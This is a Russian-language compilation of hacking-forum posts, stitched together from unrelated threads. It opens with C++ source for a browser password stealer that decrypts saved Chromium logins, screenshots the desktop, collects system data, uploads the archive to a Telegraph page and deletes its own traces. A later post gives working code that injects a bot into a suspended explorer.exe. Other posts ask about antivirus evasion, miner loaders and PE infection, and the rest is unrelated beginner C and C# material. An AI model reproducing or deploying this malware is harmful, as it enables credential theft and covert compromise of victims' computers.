SUCCEEDED(SHGetFolderPath(NULL, CSIDL_APPDATA, NULL, 0, original_db_location));
lstrcat(original_db_location, Converters::StringToWString(Paths_To_Chrome_Based_Browsers[temp]).c_str());
result = CopyFile(original_db_location, TEXT(TEMP_DB_PATH), FALSE);
result = sqlite3_open_v2(TEMP_DB_PATH, &logindata_database, SQLITE_OPEN_READONLY, NULL);
file_with_secrets = fopen(Save_File.c_str(), "w+");
result = sqlite3_exec(logindata_database, USER_DATA_QUERY, Chrome_Based_Process_Row, logindata_database, &err_msg);
sqlite3_free(err_msg);
fclose(file_with_secrets);
sqlite3_close(logindata_database);
DeleteFile(TEXT(TEMP_DB_PATH));
row_id = 1;
}
catch (...) {}
}
}
//Save Passwords
int Chrome_Based_Browser::Chrome_Based_Fill_Secret_File(char* url, char* username, unsigned char* password)
{
fputs("URL: ", file_with_secrets);
fputs(url, file_with_secrets);
fputs("\nLOGIN: ", file_with_secrets);
fputs(username, file_with_secrets);
fputs("\nPASSWORD: ", file_with_secrets);
fputs((const char*)password, file_with_secrets);
fputs("\n\n", file_with_secrets);
if (ferror(file_with_secrets))
{
return 1;
}
return 0;
}
//Process Row DB
int __stdcall Chrome_Based_Browser::Chrome_Based_Process_Row(void* passed_db, int argc, char** argv, char** col_name)
{
DATA_BLOB encrypted_password;
DATA_BLOB decrypted_password;
sqlite3_blob* blob = { NULL };
sqlite3* db = { (sqlite3*)passed_db };
BYTE* blob_data = { NULL };
unsigned char* password_array = { NULL };
int result;
int blob_size;
int i;
while (sqlite3_blob_open(db, "main", "logins", "password_value", row_id++, 0, &blob) != SQLITE_OK && row_id <= ROW_ID_COUNT);
blob_size = sqlite3_blob_bytes(blob);
blob_data = (BYTE*)malloc(blob_size);
result = sqlite3_blob_read(blob, blob_data, blob_size, 0);
encrypted_password.pbData = blob_data;
encrypted_password.cbData = blob_size;
CryptUnprotectData(&encrypted_password, NULL, NULL, NULL, NULL, 0, &decrypted_password);
password_array = (BYTE*)malloc(decrypted_password.cbData + 1);
memset(password_array, 0, decrypted_password.cbData);
for (i = 0; i < decrypted_password.cbData; i++)
{
password_array[i] = (unsigned char)decrypted_password.pbData[i];
}
password_array[i] = '\0';
result = Chrome_Based_Fill_Secret_File(argv[0], argv[1], password_array);
free(password_array);
sqlite3_blob_close(blob);
sqlite3_close(db);
return 0;
}
Заголовочный файл для дополнительных функций
В этом файле у нас хранится информация о нужных нам методах:
Screenshot**—**** скриншот**
OSInfo**—**** получение информации о системе, функция использует оставшиеся методы**
GetRam**—**** получение количества оперативной памяти**
GetCPU**—**** получение информации об установленном в ПК процессоре**
GetGPU**—**** получение информации об установленной в ПК видеокарте**
GetOSVersion**—**** получение информации об установленной операционной системе**
C++:Copy to clipboard
#include "Includes.h"
#pragma warning(disable:4996)
class Additional_Functions
{
public:
//Take Screenshot
static void Screenshot();
//Get System Information
static void OSInfo();
private:
//Get Ram (GB)
static long int GetRam();
//Get CPU
static string GetCPU();
//Get GPU
static string GetGPU();
//Get Version Of Installed OS
static string GetOSVersion();
};
Файл с исходным кодомдля дополнительных функций****
В начале файла описываются нужные переменные (все подписано).
Screenshot
OSInfo, здесь все просто
GetCPU, переписывать MSDN не хочу, поэтому четкого объяснения не дам, примите этот метод как факт
GetGPU, тоже самое, что и с процессором
GetRam, GetPhysicallyInstalledSystemMemory возвращает количество оперативной памяти в килобайтах, мы это преобразуем в нормальный вид
GetOSVersion, сложно, исходя из определенных особенностей каждой версии Windows мы можем получить точную информацию об установленной OS
C++:Copy to clipboard
#include "Additional_Functions.h"
Config Additional_Config;
//Needy For Screenshort
static const GUID png = { 0x557cf406, 0x1a04, 0x11d3, { 0x9a, 0x73, 0x00, 0x00, 0xf8, 0x1e, 0xf3, 0x2e } };
//Needy To Detect OS
typedef void (WINAPI* PGNSI)(LPSYSTEM_INFO);
typedef BOOL(WINAPI* PGPI)(DWORD, DWORD, DWORD, DWORD, PDWORD);
//Take Screenshot
void Additional_Functions::Screenshot()
{
try
{
wstring PathToFile = Converters::StringToWString(Additional_Config.MainDirectory + "\\Screenshot.jpg");
Gdiplus::GdiplusStartupInput gdiplusStartupInput;
ULONG_PTR gdiplusToken;
GdiplusStartup(&gdiplusToken, &gdiplusStartupInput, NULL);
HDC scrdc, memdc;
HBITMAP membit;
scrdc = GetDC(0);
int Height, Width;
Height = GetSystemMetrics(SM_CYSCREEN);
Width = GetSystemMetrics(SM_CXSCREEN);
memdc = CreateCompatibleDC(scrdc);
membit = CreateCompatibleBitmap(scrdc, Width, Height);
SelectObject(memdc, membit);
BitBlt(memdc, 0, 0, Width, Height, scrdc, 0, 0, SRCCOPY);
HBITMAP hBitmap;
hBitmap = (HBITMAP)SelectObject(memdc, membit);
Gdiplus::Bitmap bitmap(hBitmap, NULL);
bitmap.Save(PathToFile.c_str(), &png);
DeleteObject(hBitmap);
}
catch (...) {}
}
//Get System Information
void Additional_Functions::OSInfo()
{
try
{
ofstream file(Additional_Config.MainDirectory + "\\OS.log");
file << "CPU: " + GetCPU();
file << "\nGPU: " + GetGPU();
file << "\nRam: " + to_string(GetRam()) + " GB";
file << "\nOS: " + GetOSVersion();
file.close();
}
catch (...) {}
}
//Get CPU
string Additional_Functions::GetCPU()
{
int CPUInfo[4] = { -1 };
__cpuid(CPUInfo, 0x80000000);
unsigned int nExIds = CPUInfo[0];
char CPUBrandString[0x40] = { 0 };
for (unsigned int i = 0x80000000; i <= nExIds; ++i)
{
__cpuid(CPUInfo, i);
if (i == 0x80000002)
{
memcpy(CPUBrandString,
CPUInfo,
sizeof(CPUInfo));
}
else if (i == 0x80000003)
{
memcpy(CPUBrandString + 16,
CPUInfo,
sizeof(CPUInfo));
}
else if (i == 0x80000004)
{
memcpy(CPUBrandString + 32, CPUInfo, sizeof(CPUInfo));
}
}
return CPUBrandString;
}
//Get GPU
string Additional_Functions::GetGPU()
{
string Result;
HRESULT hres;
hres = CoInitializeEx(0, COINIT_MULTITHREADED);
if (FAILED(hres)) return 0;
hres = CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_DEFAULT, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE, NULL);
if (FAILED(hres)) { CoUninitialize(); return 0; }
IWbemLocator* pLoc = NULL;
hres = CoCreateInstance(CLSID_WbemLocator, 0, CLSCTX_INPROC_SERVER, IID_IWbemLocator, (LPVOID*)&pLoc);
if (FAILED(hres)) { CoUninitialize(); return 0; }
IWbemServices* pSvc = NULL;
hres = pLoc->ConnectServer(_bstr_t(L"root\\CIMV2"), NULL, NULL, 0, NULL, 0, 0, &pSvc);
if (FAILED(hres)) { pLoc->Release(); CoUninitialize(); return 0; }
hres = CoSetProxyBlanket(pSvc, RPC_C_AUTHN_WINNT, RPC_C_AUTHZ_NONE, NULL, RPC_C_AUTHN_LEVEL_CALL, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE);
if (FAILED(hres)) { pSvc->Release(); pLoc->Release(); CoUninitialize(); return 0; }
IEnumWbemClassObject* pEnumerator = NULL;
hres = pSvc->ExecQuery(bstr_t("WQL"),
bstr_t("SELECT * FROM Win32_VideoController"),
WBEM_FLAG_FORWARD_ONLY | WBEM_FLAG_RETURN_IMMEDIATELY, NULL, &pEnumerator);
if (FAILED(hres)) { pSvc->Release(); pLoc->Release(); CoUninitialize(); return 0; }
IWbemClassObject* pclsObj = (IWbemClassObject*)malloc(sizeof(IWbemClassObject));
ULONG uReturn = 0;
bool passed = false;
while (pEnumerator)
{
HRESULT hr = pEnumerator->Next(WBEM_INFINITE, 1, &pclsObj, &uReturn);
if (0 == uReturn)break;
VARIANT vtProp;
hr = pclsObj->Get(L"Caption", 0, &vtProp, 0, 0);
std::wstring wGpuName = vtProp.bstrVal;
int size_needed = WideCharToMultiByte(CP_UTF8, 0, &wGpuName[0], (int)wGpuName.size(), NULL, 0, NULL, NULL);
std::string strTo(size_needed, 0);
WideCharToMultiByte(CP_UTF8, 0, &wGpuName[0], (int)wGpuName.size(), &strTo[0], size_needed, NULL, NULL);
Result = strTo;
passed = true;
VariantClear(&vtProp);
}
pSvc->Release();
pLoc->Release();
pEnumerator->Release();
pclsObj->Release();
CoUninitialize();
return Result;
}
//Get Ram (GB)
long int Additional_Functions::GetRam()
{
unsigned long long ram_size;
GetPhysicallyInstalledSystemMemory(&ram_size);
return ram_size / 1000000;
}
//Get Version Of Installed OS
string Additional_Functions::GetOSVersion()
{
OSVERSIONINFOEXA osvi;
SYSTEM_INFO si;
BOOL bOsVersionInfoEx;
DWORD dwType; ZeroMemory(&si, sizeof(SYSTEM_INFO));
ZeroMemory(&osvi, sizeof(OSVERSIONINFOEXA));
osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEXA);
bOsVersionInfoEx = GetVersionExA((OSVERSIONINFOA*)&osvi);
PGNSI pGNSI = (PGNSI)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "GetNativeSystemInfo");
if (NULL != pGNSI)
pGNSI(&si);
else GetSystemInfo(&si);
if (VER_PLATFORM_WIN32_NT != osvi.dwPlatformId || osvi.dwMajorVersion <= 4) {
return false;
} stringstream os;
os << "Microsoft ";
{
if (osvi.dwMinorVersion == 0)
{
if (osvi.wProductType == VER_NT_WORKSTATION)
os << "Windows Vista ";
else os << "Windows Server 2008 ";
} if (osvi.dwMinorVersion == 1)
{
if (osvi.wProductType == VER_NT_WORKSTATION)
os << "Windows 7 ";
else os << "Windows Server 2008 R2 ";
} PGPI pGPI = (PGPI)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "GetProductInfo");
pGPI(osvi.dwMajorVersion, osvi.dwMinorVersion, 0, 0, &dwType); switch (dwType)
{
case PRODUCT_ULTIMATE:
os << "Ultimate Edition ";
break;
case PRODUCT_PROFESSIONAL:
os << "Professional ";
break;
case PRODUCT_HOME_PREMIUM:
os << "Home Premium Edition ";
break;
case PRODUCT_HOME_BASIC:
os << "Home Basic Edition ";
break;
case PRODUCT_ENTERPRISE:
os << "Enterprise Edition ";
break;
case PRODUCT_BUSINESS:
os << "Business Edition ";
break;
case PRODUCT_STARTER:
os << "Starter Edition ";
break;
case PRODUCT_CLUSTER_SERVER:
os << "Cluster Server Edition ";
break;
case PRODUCT_DATACENTER_SERVER:
os << "Datacenter Edition ";
break;
case PRODUCT_DATACENTER_SERVER_CORE:
os << "Datacenter Edition (core installation) ";
break;
case PRODUCT_ENTERPRISE_SERVER:
os << "Enterprise Edition ";
break;
case PRODUCT_ENTERPRISE_SERVER_CORE:
os << "Enterprise Edition (core installation) ";
break;
case PRODUCT_ENTERPRISE_SERVER_IA64:
os << "Enterprise Edition for Itanium-based Systems ";
break;
case PRODUCT_SMALLBUSINESS_SERVER:
os << "Small Business Server ";
break;
case PRODUCT_SMALLBUSINESS_SERVER_PREMIUM:
os << "Small Business Server Premium Edition ";
break;
case PRODUCT_STANDARD_SERVER:
os << "Standard Edition ";
break;
case PRODUCT_STANDARD_SERVER_CORE:
os << "Standard Edition (core installation) ";
break;
case PRODUCT_WEB_SERVER:
os << "Web Server Edition ";
break;
}
} if (osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 2)
{
if (GetSystemMetrics(SM_SERVERR2))
os << "Windows Server 2003 R2, ";
else if (osvi.wSuiteMask & VER_SUITE_STORAGE_SERVER)
os << "Windows Storage Server 2003";
else if (osvi.wSuiteMask & VER_SUITE_WH_SERVER)
os << "Windows Home Server";
else if (osvi.wProductType == VER_NT_WORKSTATION &&
si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64)
{
os << "Windows XP Professional x64 Edition";
}
else os << "Windows Server 2003, ";
if (osvi.wProductType != VER_NT_WORKSTATION)
{
if (si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_IA64)
{
if (osvi.wSuiteMask & VER_SUITE_DATACENTER)
os << "Datacenter Edition for Itanium-based Systems";
else if (osvi.wSuiteMask & VER_SUITE_ENTERPRISE)
os << "Enterprise Edition for Itanium-based Systems";
}
else if (si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64)
{
if (osvi.wSuiteMask & VER_SUITE_DATACENTER)
os << "Datacenter x64 Edition";
else if (osvi.wSuiteMask & VER_SUITE_ENTERPRISE)
os << "Enterprise x64 Edition";
else os << "Standard x64 Edition";
}
else
{
if (osvi.wSuiteMask & VER_SUITE_COMPUTE_SERVER)
os << "Compute Cluster Edition";
else if (osvi.wSuiteMask & VER_SUITE_DATACENTER)
os << "Datacenter Edition";
else if (osvi.wSuiteMask & VER_SUITE_ENTERPRISE)
os << "Enterprise Edition";
else if (osvi.wSuiteMask & VER_SUITE_BLADE)
os << "Web Edition";
else os << "Standard Edition";
}
}
} if (osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 1)
{
os << "Windows XP ";
if (osvi.wSuiteMask & VER_SUITE_PERSONAL)
os << "Home Edition";
else os << "Professional";
} if (osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 0)
{
os << "Windows 2000 "; if (osvi.wProductType == VER_NT_WORKSTATION)
{
os << "Professional";
}
else
{
if (osvi.wSuiteMask & VER_SUITE_DATACENTER)
os << "Datacenter Server";
else if (osvi.wSuiteMask & VER_SUITE_ENTERPRISE)
os << "Advanced Server";
else os << "Server";
}
} if (osvi.dwMajorVersion == 6 && osvi.dwMinorVersion == 2) {
if (osvi.wProductType != VER_NT_WORKSTATION)
os << "Server 2012";
else
os << "Windows 8";
if (si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64)
os << " x64 Edition";
}if (osvi.dwMajorVersion == 6 && osvi.dwMinorVersion == 3) {
if (osvi.wProductType != VER_NT_WORKSTATION)
os << "Server 2012 R2";
else
os << "Windows 8.1";
if (si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64)
os << " x64 Edition";
}if (osvi.dwMajorVersion == 10 && osvi.dwMinorVersion == 0) {
if (osvi.wProductType != VER_NT_WORKSTATION)
os << "Windows Server 2016 Technical Preview";
else
os << "Windows 10";
if (si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64)
os << " x64 Edition";
}
return os.str();
}
Основной файл с исходным кодом
По пунктам:
Во-первых, мы получаем полный путь до исполняемого файла
Создаем основную/рабочую директорию
Устанавливаем нужные аттрибуты
Задачем рабочую директорию как текущую
Сохраняем пароли, получаем информацию о системе, делаем скриншот
Пакуем это все в архив, получаем текущие данные на странице Telegraph, загружаем архив на наш«** анонимный сайт****»******
Редактируем страницу, добавляя нашу ссылку на скачивание файла
В конце мы создаем«.bat****»**** файл, для удаления всех наших следов
C++:Copy to clipboard
#include "Chrome_Based.h"
#include "Web.h"
#include "Additional_Functions.h"
#include "Zipper.h"
Config Main_Config;
Web Web_Main;
int main()
{
wchar_t Filename[MAX_PATH];
GetModuleFileName(NULL, Filename, MAX_PATH);
CreateDirectory(Converters::StringToWString(Main_Config.MainDirectory).c_str(), NULL);
SetFileAttributes(Converters::StringToWString(Main_Config.MainDirectory).c_str(), FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM);
SetCurrentDirectory(Converters::StringToWString(Main_Config.MainDirectory).c_str());
Chrome_Based_Browser::Get_Chrome_Based_Passwords();
Additional_Functions::OSInfo();
Additional_Functions::Screenshot();
Zipper::Pack();
string PreviousData = Web_Main.GetPage(Main_Config.TelegraphPage), FileUrl = Web_Main.UploadFile("Data.zip");
Web_Main.EditPage(Main_Config.AccessToken, Main_Config.TelegraphPage, "XSS_ONE_LOVE", "XSS_ONE_LOVE", PreviousData + " | " + FileUrl);
ofstream DeleteBat(Main_Config.BatDirectory + "\\temp.bat");
DeleteBat << "\nif \"%~1\"==\"\" (set \"x=%~f0\"& start \"\" /min \"%comspec%\" /v/c \"!x!\" any_word & exit /b)\nTIMEOUT /T 2\nDEL /s /q " + Main_Config.MainDirectory + "\nDEL /s /q " + Converters::WStringToCSTR(Filename) + "\nDEL \"%~f0\"";
DeleteBat.close();
ShellExecute(NULL, L"open", Converters::StringToWString(Main_Config.BatDirectory + "\\temp.bat").c_str(), NULL, NULL, SW_SHOWNORMAL);
exit(0);
}
Заключение
Вот мы с вами и написали демоверсию стиллера, который отправляет логи на
страницу Telegraph. Естественно этот способ не идеален, но он определенно
заслуживает вашего внимания. Код также далек от совершенства, но статья и не
была направлена на написание готового продукта. Это лишь пища для размышлений.
Хочу еще раз подметить, что в этой статье не был предоставлен исходный код
панели управления, но если вы заинтересованы, то я могу написать статью на
данную тему для вас (С#/C++/WPF). Вот вам котик на прощание:
Всем привет. В создании малвари полный нуб , поэтому не кидайте сцаными тряпками. Вопрос такой : где поискать информацию (может кто готов поделиться в ЛС в телеге) об актуальных методах обхода проактивных методов защиты АВ.
Пример - пару дней назад захотел написать свой Майнер. Соответственно нужен лоадер , который скачает модули и запустит. Как обойти подводные камни ? Заранее спасибо. Подобный пост размещу и на **** для большего потока информации от знающих людей.
Здравствуйте.
Что сейчас актуально из софта (цвет и сложность не важны)? Пишу на асм с
использованием винапи и повершелл.
Смотрю в сторону брута и чека палки, крипты, ба. Но судя по ввх и экспе спрос
и предложение очень небольшой. Капча (где рекапча и обычный паблик) легко
обойти, прокси и сокс хватает. Если есть интересные проекты, могу выпустить
софт в приват.
Заинтересовала андроид малварь, на чем ее сейчас пишут? И как обстоит ситуация
с обфускацией кода?
О необычной малвари пока что только думаю, слишком много вариантов.
Ребят, подскажите пожалуйста какие-либо материалы по изучению С++, на ютубе такое себе, предпочитаю текстовый формат, книг найти не могу хороших
P.S. Буду благодарен за помощь в поисках)
Вообщем решил учит C там есть такая тема
main()
{
puts("OK")
}
Сделал как тут написано (Компилятор)
Эту фигню пробывал написать в простом редакторе и потом пробывал в "Source Editor" сохранять пробывали в cpp и в .С
Потом вводил в командную строку
C:>borland\bcc55\bin\RUNBOR.BAT bcc32 c:\borland\bcc66\bin\test.c
И так пробывал
C:>borland\bcc55\bin\RUNBOR.BAT bcc32 test.c
Короче выдаёт ошибку
C:>bcc32 c:\borland\bcc66\bin\test.c
Borland C++ 5.5.1 for Win32 Copyright © 1993, 2000 Borland
Error E2194: Could not find file 'c:\borland\bcc66\bin\test.c'
Добавлено [time]1125678286[/time]
Чо за трабл ? Может мне чото надо чтоб сохранилось в .С ?
Сюда буду дропать нововведения
ищется код на с/с++ инфекта PE методом добавления в таблицу импорта своей записи о дллке. По инету гуляет такой код goo.gl/O6UFH , но он некорректно работает.
В плане мальвари. Смотрю в сторону чистого Си, но многие советуют С++, даже хз, он огромный и сложный
Код не мой, просто резко появилось желание наплодить индусов. Удачи в
копипасте всем, кто
за этим пришёл.
C++:Copy to clipboard
DWORD WINAPI injectedCode() {
const char* libList[] = { "shlwapi.dll", "mpr.dll", "netapi32.dll", "Gdiplus.dll", "wininet.dll", "kernel32.dll", "ws2_32.dll", "Gdi32.dll", "Ole32.dll", "Iphlpapi.dll" };
for(int i = 0; i < _countof(libList); i++){
LoadLibraryA((char*)libList[i]);
}
runBot();
return 0;
}
void ProcessRelocs(PIMAGE_BASE_RELOCATION reloc, SIZE_T imageBase, SIZE_T delta, DWORD relocSize)
{
if (relocSize <= 0) return;
while (reloc->SizeOfBlock > 0)
{
SIZE_T va = imageBase + reloc->VirtualAddress;
unsigned short* relInfo = (unsigned short*)((byte*)reloc + IMAGE_SIZEOF_BASE_RELOCATION);
for (DWORD i = 0; i < (reloc->SizeOfBlock - IMAGE_SIZEOF_BASE_RELOCATION) / 2; i++, relInfo++)
{
int type = *relInfo >> 12;
int offset = *relInfo & 0xfff;
switch (type)
{
case IMAGE_REL_BASED_ABSOLUTE:
break;
case IMAGE_REL_BASED_HIGHLOW:
case IMAGE_REL_BASED_DIR64:
*((SIZE_T*)(va + offset)) += delta;
break;
}
}
reloc = (PIMAGE_BASE_RELOCATION)(((SIZE_T)reloc) + reloc->SizeOfBlock);
}
}
HMODULE GetImageBase(void* funcAddr)
{
SIZE_T addr = (funcAddr) ? (SIZE_T)funcAddr : (SIZE_T)&GetImageBase;
addr &= ~0xffff;
for (;;)
{
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)addr;
if (dosHeader->e_magic == IMAGE_DOS_SIGNATURE)
{
if (dosHeader->e_lfanew < 0x1000)
{
PIMAGE_NT_HEADERS header = (PIMAGE_NT_HEADERS)&((byte*)addr)[dosHeader->e_lfanew];
if (header->Signature == IMAGE_NT_SIGNATURE)
break;
}
}
addr -= 0x10000;
}
return (HMODULE)addr;
}
inline PIMAGE_OPTIONAL_HEADER GetOptionalHeader(HMODULE imageBase)
{
return (PIMAGE_OPTIONAL_HEADER)((LPVOID)((SIZE_T)imageBase + ((PIMAGE_DOS_HEADER)(imageBase))->e_lfanew + sizeof(DWORD) + sizeof(IMAGE_FILE_HEADER)));
}
SIZE_T InjectCode(HANDLE hprocess, typeFuncThread startFunc, HMODULE* newBaseImage)
{
HMODULE imageBase = GetImageBase(startFunc);
DWORD sizeOfImage = GetOptionalHeader(imageBase)->SizeOfImage;
HANDLE hmap = CreateFileMappingA((HANDLE)-1, nullptr, PAGE_EXECUTE_READWRITE, 0, sizeOfImage, nullptr);
void* view = MapViewOfFile(hmap, FILE_MAP_WRITE, 0, 0, 0);
if (!view) return false;
memcpy(view, (void*)imageBase, sizeOfImage);
SIZE_T viewSize = 0;
SIZE_T newBaseAddr = 0;
SIZE_T addr = 0;
NTSTATUS status = ZwMapViewOfSection(hmap, hprocess, (PVOID*)&newBaseAddr, 0, sizeOfImage, nullptr, &viewSize, (SECTION_INHERIT)1, 0, PAGE_EXECUTE_READWRITE);
if (status == 0)
{
PIMAGE_DOS_HEADER pdh = (PIMAGE_DOS_HEADER)imageBase;
PIMAGE_NT_HEADERS pe = (PIMAGE_NT_HEADERS)((byte*)pdh + pdh->e_lfanew);
ULONG relRVA = pe->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;
ULONG relSize = pe->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
ProcessRelocs((PIMAGE_BASE_RELOCATION)((SIZE_T)imageBase + relRVA), (SIZE_T)view, newBaseAddr - (SIZE_T)imageBase, relSize);
addr = (SIZE_T)startFunc - (SIZE_T)imageBase + newBaseAddr;
}
if (newBaseImage) *newBaseImage = (HMODULE)newBaseAddr;
UnmapViewOfFile(view);
CloseHandle(hmap);
return addr;
}
BOOL RunInjectCode(HANDLE hProc, HANDLE hthread, typeFuncThread startFunc, typeInjectCode func)
{
unsigned int addr = func(hProc, startFunc, 0);
if (addr == 0) return false;
DWORD id;
HANDLE hThread2 = CreateRemoteThread(hProc, 0, 0, (LPTHREAD_START_ROUTINE)addr, 0, 0, &id);
if (hThread2)
{
return 1;
}
else
{
HANDLE hthread;
CLIENT_ID cid;
if (RtlCreateUserThread(hProc, nullptr, FALSE, 0, 0, 0, (void*)addr, 0, &hthread, &cid) == 0)
{
CloseHandle(hthread);
return 1;
}
}
return 0;
}
DWORD ExecVA(DWORD options, HANDLE* hprocess, HANDLE* hthread, DWORD* exitCode, int wait, const char* cmd, va_list va)
{
DWORD ret = 0;
if (exitCode) *exitCode = 0;
if (hprocess) *hprocess = 0;
if (hthread) *hthread = 0;
STARTUPINFOA si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(STARTUPINFOA));
ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));
si.cb = sizeof(si);
BOOL res = FALSE;
if (!res)
{
res = CreateProcessA(0, (CHAR*)cmd, 0, 0, FALSE, options, 0, 0, &si, &pi);
}
if (res)
{
if (wait > 0)
{
if (WaitForSingleObject(pi.hProcess, wait) == WAIT_OBJECT_0)
{
if (exitCode)
{
GetExitCodeProcess(pi.hProcess, exitCode);
}
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
pi.hThread = 0;
pi.hProcess = 0;
ret = pi.dwProcessId;
}
}
else
ret = pi.dwProcessId;
if (hthread)
*hthread = pi.hThread;
else
CloseHandle(pi.hThread);
if (hprocess)
*hprocess = pi.hProcess;
else
CloseHandle(pi.hProcess);
}
return ret;
}
DWORD Exec(DWORD options, HANDLE* hprocess, HANDLE* hthread, DWORD* exitCode, int wait, const char* cmd, ...)
{
va_list va;
va_start(va, cmd);
return ExecVA(options, hprocess, hthread, exitCode, wait, cmd, va);
}
BOOL RunExplorer(HANDLE* hprocess, HANDLE* hthread)
{
return Exec(CREATE_SUSPENDED, hprocess, hthread, 0, 0, "explorer.exe") != 0;
}
int WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) {
HANDLE hprocess, hthread;
memset((void*)&hprocess, 0, 2048);
memset((void*)&hthread, 0, 2048);
if (RunExplorer(&hprocess, &hthread))
{
RunInjectCode(hprocess, hthread, (typeFuncThread)injectedCode, InjectCode);
}
ExitProcess(0);
}
Собственно, сабж... Какие существуют варианты реализации?
Нужен хороший (а лудче отличный) учебник по джаве, где только не искал ничего
достойного не нашёл. Помогите найти.. :huh1:
Добавлено в [time]1139292106[/time]
+ Ещё нужен нормальный компилятор, тот кто поможет отблагодарю акком для
скайп!
Автор: Kain1029
Специально для XSS.is
Всем привет. В этой статье я постараюсь обеспечить максимально мягкий вкат в язык программирования C#, постараюсь ответить на большинство вопросов от новичков и развею несколько мифов.
Для начала немного о себе: я backend разработчик с 5ти летним стажем, мой язык
преимущественно C# , этот язык я выбрал, по сколько он достаточно простой для
понимания, логичный и лаконичный.
Начинал свой путь так же как и многие. Работал продавцом в магазине, по ночам
подрабатывал во всевозможных мутных темах. Мне необходим был софт, а платить
за него совсем не хотелось(да и собственно нечем). Единственное, что я знал,
это "C# это круто и проще, чем C++ ". С этого все и началось.
Я изначально забивал на теорию и пытался сделать все методом научного тыка, в
чем набил достаточно множество шишек и потерял время, а сейчас готов
поделиться опытом с вами, чтобы ваш вкат был проще, чем мой.
Ответы на популярные вопросы:**
В: Является ли C# сложным языком?**
О: Нет. C# очень простой язык. По сути все разделено на классы и методы(если
обобщать). Классы это коробки(хоть картонные, как хотите так и представляйте),
а методы - нечто, хранящиеся в этих коробках. И чтобы обратиться к методу,
необходимо взять нужную коробку , порыться к ней, и достать то, что вам нужно.
Это осознание мне очень сильно помогло при изучении. Это все утрировано , но
сути так и есть.
В: Почему C# , а не питон?
О: Лично мне питон не нравится синтаксисом, но это вкусовщина. К тому же, я
пытался понять питон после C# и для меня это тяжело, в этом моменте меня
скорее всего поймут люди, кто переходил с ASM на высокоуровневые языки.
Любой язык это лишь инструмент, соответственно какой инструмент выбрать
решаете вы под свои задачи.
В: Как долго учить C#, чтобы устроится на работу?
О: Это пожалуй самый частый вопрос от новичков, и вероятнее всего, ожидается
ответ "каждый день по 8 часов", но это в корнене верно. Максимум, чего вы
добьетесь - выгорание. В какой то момент вы начнете осознавать, что ничего не
понимаете , начнут приходить мысли в голову мол "а надо ли оно мне вообще?". В
этот момент главное остановиться и подождать, пока у вас не начнется ломка по
изучению нового аспекта языка(проверено, помогает).
В: Как правильно изучать C#?
О: Я рекомендую дробить свое изучение. Если это видео-уроки, то дробить их по
видео, если книги, то по главе. Распространенная ошибка - включить видео на
фоне и заниматься своими делами, или читать по 150-200 страниц в день.
Запомните - это так не работает. Поставили себе цель - смотреть 1 видео в
день, но сделать это крайне качественно, попробовать самому что нибудь
написать, изучать дополнительные материалы. Если вы предпочитаете читать , то
достаточно 1 главы в день и не важно 10 или 20 страниц там. Как правило 1
глава это одна тема, а ваша задача , не прочитать как можно больше букв, а
постараться понять написанное. Как только чувствуете ,что не понимаете -
останавливаетесь и гуглите до того момента пока не будете знать тему как "отче
наш". Если закончили одну главу, но сил еще много - проступайте ко второй, но
помните золотое правило - **" НЕ БРОСАЙ НА ПОЛОВИНЕ". **Начал
читать/смотреть - доделай до конца. До последней минуты или страницы. Если ты
этого не сделаешь я даю тебе 100% гарантию ,что завтра ты даже не вспомнишь,
что читал, а там 2 варианта, либо дочитаешь и мысли не сложатся в один ряд,
соответственно не поймешь тему, либо начнешь заново, а какой тогда в этом
смысл?
В: Где получить мотивацию?
О: Так же достаточно частый вопрос. Для начала подумайте , для чего вам
изучать программирование? Если ваша цель быстренько изучить материал и
получать 300к в секунду можете даже не начинать, это не для вас, да и рынок
переполнен подобными выскочками. Если же вы вам это реально интересно, в
школьные годы интересовал паскаль и информатика в целом, ну либо вы осознаете,
что это не быстрый процесс, но все равно хотите поменять свою жизнь в лучшую
сторону, то welcome to the club buddy. Искреннее желание - лучшая
мотивация.
В: Стоит ли оплачивать курсы программирования?
О: Однажды я хотел записаться на платные курсы, ввиду того, что ничего не
понимал, спустя время я могу твердо заявить, что все курсы от скилфактори и
подобных ребят - полная шляпа. Вас разуют , вряд ли чему то научат, зато
вселят надежду, так вы и будете стоять в один усах, голый , но довольный.
Поэтому я советую обучаться самому. Ниже я приведу довольно хорошие материалы
для изучения по пунктам. Если все ваше обучение идет по спирали в стиле "О, я
понял теперь могу идти на работу -> Нет, ничего не знаю -> Теперь я знаю все
работа меня ждет -> Как же можно быть таким тупым", значит вы на верном пути.
Если вам кажется, что вы ничего не знаете - вы всегда знаете немного больше,
чем вчера. Главное не опускать руки
Рекомендуется для изучения:
Все ссылки предназначены для ознакомления и потому что мне лень искать
картинку
Я буду ранжировать книги по сложности по возрастанию. Советую читать их по порядку.
Михаил Фленов. Библия C# 6 издание:
OZON
Данная книга максимально дешевая и короткая, если вы ее прочитаете то будете
иметь поверхностное понимание, а языке и его использовании. В ней содержится
множество примеров и задач. Я лично читал 4-е издание. Написано, просто и
понятно. Однако из минусов: для более менее опытных людей она будет
максимально бесполезная, вся информация подается поверхностно, но опять же это
и плюс, то бы не перегружать новичков сложными структурами и так далее.
